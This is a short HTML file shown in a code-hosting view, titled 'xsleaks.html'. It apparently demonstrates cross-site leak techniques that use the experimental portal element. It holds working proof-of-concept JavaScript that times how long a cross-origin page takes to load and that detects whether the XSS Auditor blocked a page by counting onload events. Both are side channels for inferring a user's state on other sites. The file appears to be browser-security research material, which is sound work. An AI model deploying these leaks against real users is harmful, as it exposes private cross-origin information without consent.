/
xsleaks.html
39 lines (30 loc) · 871 Bytes
/
xsleaks.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<script>
function timing(url) {
const portal = document.createElement('portal');
portal.src = url;
const startTime = +new Date;
portal.onload = () => {
alert(`${url} loaded for ${new Date - startTime}ms`);
}
document.body.appendChild(portal);
}
async function isBlockedByXSSAuditor(url) {
const portal = document.createElement('portal');
portal.src = url;
let onloadCount = 0;
portal.onload = () => onloadCount++;
document.body.appendChild(portal);
await sleep(2000);
return onloadCount > 1;
}
function sleep(ms) {
return new Promise(r => setTimeout(r, ms));
}
function check(url) {
const portal = document.createElement('portal');
portal.src = url;
portal.setAttribute('style', 'width:300px;height:400px');
portal.onload = () => console.log('onload');
document.body.appendChild(portal);
}
</script>